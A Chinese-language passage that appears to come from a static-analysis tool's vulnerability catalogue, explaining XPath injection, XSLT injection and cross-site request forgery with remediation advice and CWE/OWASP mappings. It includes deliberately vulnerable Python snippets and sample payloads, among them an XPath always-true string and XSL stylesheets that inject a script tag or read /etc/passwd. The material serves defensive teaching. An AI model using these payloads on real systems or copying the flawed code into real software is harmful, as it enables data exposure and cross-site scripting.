解释	XPath injection 会在以下情况中出现： 1. 数据从一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据用于动态构造一个 XPath 查询。 在这种情况下，查询将传递到 Y（文件）的第 M 行中的 Y（函数）。 示例 1：下列代码可动态地构造并执行一个 XPath 查询，为指定的帐户 ID 检索电子邮件地址。由于该帐户 ID 是从 HTTP 请求中读取的，因此不受信任。 ... tree = etree.parse('articles.xml') emailAddrs = "/accounts/account[acctID='" + request.GET["test1"] + "']/email/text()" r = tree.xpath(emailAddrs) ... 在正常情况下（例如搜索属于帐号 1 的电子邮件地址），此代码执行的查询将如下所示： /accounts/account[acctID='1']/email/text() 但是，由于这个查询是动态构造的，由一个不变的查询字符串和一个用户输入字符串连接而成，因此只有在 acctID 不包含单引号字符时，才会正确执行这一查询。如果攻击者为 acctID 输入字符串 1' or '1' = '1，则该查询会变成： /accounts/account[acctID='1' or '1' = '1']/email/text() 附加条件 1' or '1' = '1 会使 where 从句永远评估为 true，因此该查询在逻辑上将等同于一个更为简化的查询： //email/text() 通常，查询必须仅返回已通过身份验证的用户所拥有的条目，而通过以这种方式简化查询，攻击者就可以规避这一要求。现在，查询会返回存储在文档中的所有电子邮件地址，而不论其指定所有者是谁。
建议	造成 XPath injection 漏洞的根本原因在于攻击者能够改变 XPath 查询的上下文，导致程序员期望解释为数据的某个数值最终被解释为命令。构建 XPath 查询后，程序员知道哪些数值应解释为命令的一部分，哪些数值应解释为数据。 为了防止攻击者侵犯程序员的各种预设情况，可以使用允许列表的方法，确保 XPath 查询中由用户控制的数值完全来自于预定的字符集

返回目录

	合，不包含任何上下文中所已使用的 XPath 元字符。如果由用户控制的数值要求它包含 XPath 元字符，则使用相应的编码机制删除这些元字符在 XPath 查询中的意义。 例 2: ... tree = etree.parse('articles.xml') accId = int(request.GET["accountId"]) emailAddrs = "/accounts/account[acctID=" + accId + "]/email/text()" r = tree.xpath(emailAddrs) ...
CWE	CWE ID 643
OWASP2017	A1 Injection

返回目录

漏洞名称	**XSLT Injection**
默认严重性	4.0
摘要	在 X（文件） 的第 N 行中，XX（方法） 方法将写入未经验证的 XML 输入。此调用可能允许攻击者将任意 XSL 元素注入到 XSL 样式表中。如果处理未经验证的 XSL 样式表，则可能会使攻击者能够更改生成的 XML 的结构和内容、在文件系统中加入任意文件或执行任意代码。
解释	XSLT injection 会在以下情况中出现： 1. 数据从一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据写入到 XSL 样式表中。 在这种情况下，由 Y（文件）的第 M 行的 Y（函数） 处理 XSL。 通常，应用程序利用 XSL 样式表来转换 XML 文档的格式。XSL 样式表中包括特殊函数，虽然此类函数能改善转换进程，但如果使用不当也会带来更多漏洞。 如果攻击者能够在样式表中写入 XSL 元素，则可以更改 XSL 样式表和处理的语义。攻击者可能会更改样式表的输出以启用 XSS (Cross-Site Scripting) 攻击、公开本地文件系统资源的内容或执行任意代码。 例 1：下面是一些易受 XSLT 注入攻击的代码： ... xml = StringIO.StringIO(request.POST['xml']) xslt = StringIO.StringIO(request.POST['xslt']) xslt_root = etree.XML(xslt) transform = etree.XSLT(xslt_root) result_tree = transform(xml) return render_to_response(template_name, {'result': etree.tostring(result_tree)}) ... 当攻击者将标识的 XSL 传递到 XSTL 处理器时，Example 1 中的代码会导致三种不同的漏洞利用： 1. XSS： <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <script>alert(123)</script> </xsl:template> </xsl:stylesheet> 在处理 XSL 样式表时，<script> 会进入受害者的浏览器，从而能够实施 cross-site scripting 攻击。 2. 读取服务器文件系统中的任意文件：

返回目录

	<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('/etc/passwd')"/> </xsl:template> </xsl:stylesheet> 上述 XSL 样式表将返回 /etc/passwd 文件的内容。
建议	在将用户提供的数据写入 XSL 样式表时，请遵循以下准则: 1.验证输入并检验已知的正常值列表。 2.写入到 XML 之前，先对用户输入进行 XML 实体编码。
CWE	CWE ID 494
OWASP2017	A1 Injection

返回目录

漏洞名称	**XSRF**
默认严重性	4
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法所获取的参数来自于用户对 XX（元素） 的请求。然后，此参数值将传递到代码，并最终用于访问可以更改应用程序状态的功能。这可能导致跨站点请求伪造(XSRF)。
解释	攻击者可以使受害者执行任何操作，这些操作是被受害者授权的，例如从受害者账户里转移资金给攻击者账户。该操作将被记录为是受害者执行的，在受害者的账户环境里发生的，并且受害者他们自己可能完全不知情。 应用程序纯粹根据 HTTP 请求内容执行修改数据库内容的某些操作，并且不需要每次请求更新后的身份验证（例如交易验证码或同步器 token），相反仅依赖于会话身份验证。这意味着攻击者可以使用社交工程使受害者浏览一个链接，该链接包含有一个指向有漏洞的应用程序的交易请求，从用户的浏览器提交该请求。当应用程序接收到该请求后，它将会信任受害者的会话，然后执行该操作。这种类型的攻击被称作跨站请求伪造（XSRF 或 CSRF）。 跨站请求伪造攻击依靠的是服务器和经过身份验证的客户端之间的信任。通过仅验证会话，服务器可确保请求是从客户的浏览器发出的。但是，任何网站都可以向其他网站提交 GET 和 POST 请求，如果 cookie 中有会话 token 的话，浏览器就会自动把它加到请求里。这个跨站请求就会被信任了，因为它是从用户的浏览器发出的，但却不验证发出此请求是否是客户们的意图。
建议	缓解 XSRF 需要额外一层身份验证，该验证需内置到请求校验机制中。此机制将附加一个额外的 token，该 token 仅适用于指定用户；该 token 将在用户的网页中有效，但不会被自动附加到来自其他网站的一次请求里（即就是，不会存储在 cookie 中）。因为 token 不会被自动附加到该请求里，而且也是攻击者无法获得的，而且是服务器处理该请求所必需的，攻击者想要填写包含此 token 的一个有效跨站表单是完全不可能的。 很多平台都提供内置的 XSRF 缓解功能，请使用这些平台，这些平台都在底层执行这种类型的 token 管理。或者，也可使用已添加此功能的熟知的或可信任的第三方库。 如果实现 XSRF 保护是必需的，则此保护应遵循以下规则: 任何更改状态的表单（创建、更新、删除操作）都应该强制实行 XSRF 保护，方法是在客户端为每个更改状态的表单提交添加一个 XSRF token。 应当生成一个 XSRF token，而且对于每个用户每个会话（并且建议也对每次请求）都是唯一的。

返回目录

	XSRF token 应当被嵌入到客户端侧表单中，并作为表单请求的一部分提交给服务器。例如，它可以是 HTML 表单中的隐藏字段，也可以是被 Javascript 请求所添加的自定义 header。 然后，在一次请求被授权且视作有效请求以进行处理之前，请求正文或自定义 header 中的 XSRF token 必须被服务器核实是否属于当前用户。
CWE	CWE ID 352
OWASP2017	None

返回目录